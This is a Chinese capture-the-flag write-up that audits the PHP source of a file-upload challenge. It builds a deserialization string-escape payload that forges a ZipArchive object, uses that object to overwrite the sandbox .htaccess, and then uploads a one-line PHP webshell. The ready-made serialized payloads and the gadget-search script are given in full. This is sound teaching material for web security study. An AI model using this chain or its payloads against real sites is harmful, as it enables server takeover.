BMZCTF file-vault详解 php反序列化利用姿势
题目:
打开题目是一个上传页面。
拿到题目第一步要做的就是信息收集,使用dirsearch扫描一下敏感信息,发现存在一个index.php~文件,这是vim编辑器自动生成的备份文件,打开就是这道题的源码了
<?php
error_reporting(0);
include('secret.php');
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) { //自定义序列化方法
$b = str_replace("../","./", serialize($a)); //先进行序列化操作,然后将../替换成./
return $b.hash_hmac('sha256', $b, $secret); //返回的内容后面携带了$secret计算的hmac值
}
function myunserialize($a, $secret) { //自定义反序列化方法
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){ //再做一次hmac计算,比对字符串后面64位,看是否被篡改。
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename); //以数组的形式返回关于文件路径的信息
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt'; //没有后缀则直接以.txt为后缀
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content); //将临时文件写入到sha1哈希的一个目录里
$this->fakename = $fakename; //fakename可控,realnam经过sha1很难控制
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off"); //每次访问给用户上传文件的目录写了一个.htaccess文件,该配置导致上传的文件不能当做php来解析,php脚本无法直接使用。
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default: //action='index.php?action=upload',所有请求都会访问到index.php,都会触发生成.htaccess文件
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name'])); //一个文件对应一个UploadFile对象,文件信息被写入对象中。
$files = myunserialize($_COOKIE['files'], $secret); //反序列化cookie中的内容
$files[] = $uploadfile; //UploadFile对象存入数组,所以上传多个文件后,经过序列化的字符串中是包含多个文件内容的(主要用到fakename 文件名)。
setcookie('files', myserialize($files, $secret)); //将文件信息序列化后写入用户cookie
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret); //将cookie反序列化
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname']; //获取参数i对应的文件对象,修改它的$fakename 也就是文件名。
}
setcookie('files', myserialize($files, $secret)); //重新写入cookie
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret); //将cookie反序列化
if(isset($files[$_GET['i']])){ //根据参数i找数组中对应的文件对象,
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); //调用文件对象的open方法,需要传入2个参数
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
解题思路
对源码进行审计,首先大致看一下功能,一个自定义的序列化函数,一个自定义的反序列化函数,一个UploadFile类,4个action对应主页、上传、修改文件名、open则会调用经反序列化后生成的对象的open方法,reset重置cookie,这样下来大致就能想到题目会考反序列化和上传这2种漏洞了。
1.先来看一下文件上传漏洞:
代码非常简单,传入一个文件就创建一个UploadFile对象,将文件名等内容封装到对象里,只判断了文件名是否有扩展名,没有就加上.txt,没有对文件名和内容进行任何过滤,是的!没有过滤,那不是妥妥的文件上传漏洞吗?我们直接上传一个php文件试试:
上传后点击click to show locations看到文件位置,访问后发现文件上传成功,但并没有当做php脚本解析:
这是因为每次访问index.php都会给用户上传文件的目录生成.htaccess文件,关闭了php的解析功能,导致文件不能当做php解析。
2.反序列化漏洞
上传似乎不行,那我们就想到测一下反序列化漏洞。这里不讲反序列化原理,目前我收集到的反序列化利用方式大致有三种:
1.反序列化字符串逃逸
? 先进行序列化操作后,又将结果进行了过滤,导致字符串长度增加或减少
? 字符串长度可增加利用条件:
? 1.存在至少一个变量可控。
? 2.存在至少另一个变量被修改后,能够获取到自己想要收获。
? 字符串长度可减少利用条件:
? 1.存在至少2个变量可控。
? 2.存在至少另一个变量被修改后,能够获取到自己想要收获。
2.反序列化利用自定义类的魔术方法
? php存在许多魔术方法能够在某种条件下自动调用,如__sleep、__wakeup在序列化和反序列化时自动调用,__destruct在对象销毁时自动调用,还有其他的方法只要能够触发自动调用,都能够被反序列化利用。
? 利用条件:
? 1.存在至少一个类,其魔术方法可被自动调用。
? 2.存在可控变量,并且在魔术方法被自动调用时可控制变量获取自己想要的结果。
?
? 绕过__wakeup魔术方法:
? __wakeup()魔术方法会在反序列化时自动调用,CTF中常出现用来过滤,当序列化后的字符串中定义的变量数大于实际变量数量时,就会绕过__wakeup()函数。
3.反序列化利用内置类的方法
? 当进行反序列化后,会重新产生对象,正常情况下调用该对象的方法一般都是我们自定义的方法,但是php还内置了很多的类,如果内置类和我们调用的方法名一样,我们又能够控制反序列化结果,那我们就能让它反序列化出这些内置类的对象,调用的也就是内置类的方法。
? 利用条件:
? 1.调用反序列化后生成的对象的方法,这个方法和内置类的方法名相同。
? 2.存在一个变量可控,且拼接上我们内置类经过序列化的字符串后,能够闭合成正确的序列化字符串,能够正确的反序列化。(这点光靠变量可控是很难办到的,所以通常是和字符串逃逸结合在一起)
这道题类中方法就只有upload和open,可通过下列命令搜索也具有open方法的内置类:
<?php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$method\n";
}
}
?>
?
自行查阅搜索出来的这几个内置类的open方法,有没有能够利用的,需要考虑这些内置类的open方法传入的参数数量和题目是否一样是2个,最终找到的就是ZipArchive,传入的$flags为ZipArchive::OVERWRIT时,会覆盖原有文件。
利用链
综合述知识点,我们就能找到最终的利用链:
1.字符串逃逸
2.利用反序列化调用内置类的方法(ZipArchive的open方法)来覆盖.htaccess,这样我们上传的php脚本就能正常解析了。
再来分别看一下利用链的代码
1.字符串逃逸
上传文件时,文件名等内容写到了UploadFile对象中,然后再写到数组中,整个数组调用myserialize(此时会先进行序列化操作,再将…/替换为./,因此满足了我们字符逃逸减少字符长度的条件),然后写到用户cookie中。chagename功能将cookie反序列化,修改其中的$fakename(文件名)然后重新序列化写入cookie。注意我们上传和修改文件名的功能,存入cookie的都是一个数组经过序列化的字符串,我们能单独修改每个文件的文件名,对于这整个字符串来说就存在多个可控参数了,所以满足了字符串逃逸减少字符长度的2个条件:
这样已经能够通过字符串逃逸来修改反序列化结果了,不过可惜的是没有什么变量被改变后能够直接达到我们想要的结果。
2.反序列化利用内置类的方法
上面已经讲了我们找到了ZipArchive的open方法具有覆盖文件功能,因此可以用来干掉.htaccess文件,让我们上传的脚本正常解析,反序列化利用内置类的2个条件都能满足。在这道题的open功能这里,会将cookie反序列化,生成装有UploadFile文件对象的数组,然后根据传入的参数i来从数组中找到对应的文件对象,调用这个对象的open方法。如果我们通过字符串逃逸,构造出的字符串经过反序列化后,变成ZipArchive对象,那么就会调用ZipArchive的open方法了。
条件具备,开始行动
1.构造ZipArchive序列化字符串
最终想要调用ZipArchive的open方法,需要2个参数,一个文件名(也就是.htaccess);一个是ZipArchive::OVERWRITE,也可以直接写数字9。.htaccess在用户上传的目录:‘sandbox/’.sha1($_SERVER[‘REMOTE_ADDR’]),会根据用户公网地址做sha1计算,这个目录可以自己计算下,也可以上传一个文件,可查看的。
<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";
$zip->realname = '9';
echo serialize($zip);
?>
拿到ZipArchive的序列化字符串:
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}
2.上传2个文件,查看cookie获取这2个文件的序列化字符串:
url解码一下:
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.jpg";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}}a413a0ae20bf141f891bfe07d3281f6ec10502b98a99f0cf2540a6d93703bb3b
可以看到,这个cookie中确实是包含了我上传的2个文件,pic1.jpg和pic2.jpg。
现在我们能控制的就是pic1.jpg和pic2.jpg这2个参数,要想办法把上面生成的ZipArchive序列化字符串拼接进去,并且完整闭合为一个正确的序列化字符串。可以参考下它原来的格式来进行拼接。
把pic1.jpg换成我们上面生成的ZipArchive序列化字符串显然不行,没有办法拼接出一个完整的序列化字符串,也就没法正常反序列化,所以直接先尝试着把第二个参数换成上面生成的ZipArchive序列化字符串(标记部分就是ZipArichive的内容):
最后64位是做的sha256的哈希校验,可以防篡改,我们是通过代码提供的正规方式去修改的,不会受影响,所以不用管他。
这样和原本cookie中的内容做下对比,发现我标记部分后面是没有办法正确闭合的,那我们可以直接不要后面了,因为反序列化是根据}结尾的,后面的内容不会影响结果。原本的是有2个},因此给之前ZipArchive的序列化结果加上一个},让它正确闭合,变成:
这样后面部分就正常闭合了,再来看我标记部分的前面,也不是正确的(注意原来的o:10前面有i:1;),我们新增部分本身自己是一个完整对象,如果完美替换原本数组中的第二个对象(也就是i:1)就好了,字符串逃逸导致的字符减少正好做到这一点,那我们参考原来格式,将i:1;添加到我标记部分前面:这样一看,我们能控制pic1.jpg,图中红色部分才是我们能够吃掉的部分,如果直接吃掉拼接出来的是下面这个结果:
这是吃掉部分:长度115
";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
还是不完整,所以我标记部分前面还需要加上pic1.jpg的后面部分:
";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}
这样拼接出来就完整了(标记部分是第二个fakename需要插入的内容):
3.那结果就有了:
第二个文件的fakename需要插入的内容就是我图片中选择标记的部分
";s:8:"realname";s:44:"d0560748d5b2328438d234a163daef882046b1e3.jpg";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ede9e14dab3bfbb6a1ec62dcdb3089db0abc225c/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
第一个文件的fakename,每多一个. ./,就能吃掉一个字符,所以总共需要的. ./数量就是上面吃掉部分字符串的长度:115+2
(这里要注意,被吃掉部分的"fakename";s:8:",是可变的,这就是第二个文件的文件名。当我们插入图中选择标记部分时,长度变成了300,变成了"fakename";s:300:" 。字符串长度增加了2。所以需要多吃掉2个字符才行。)
先上传2个文件,然后修改第二个文件的文件名,使用burp来改方便点。
再修改第一个文件的文件名,直接在原来文件名后面添加115+2个…/。
触发反序列化并调用open方法
然后点击第二个图片的click to show location,会将cookie反序列化,反序列化后生成的数组,通过参数i来找到数组中第二个对象,调用生成对象的open方法(这里就是ZipArchive的open方法)。这样就能删除我们上传目录中的.htaccess文件了。改完顺便放到repeater里,后面还要再发一次。
上传一句话木马
这时候.htaccess被删掉,我们就可以上传一句话木马了:
直接上传,然后点击click to show location就能查看文件名,访问后发现还是没有作为php解析,这是因为我们上传的时候都是访问这个index.php文件,都会重新生成.htaccess 添加进php_flag engine off的配置,导致我们的文件不能作为php解析,这时候就只需要把最后一个数据包重发一次就行了(因为这个反序列化都是通过读取cookie来的,虽然现在上传了一个文件,但我们repeater里面的cookie不受影响,因此只需要重放最后一个数据包即可触发删除文件的操作。)
重发最后一个数据包,再访问自己的一句话,就已经连上了,在根目录下找到flag:
|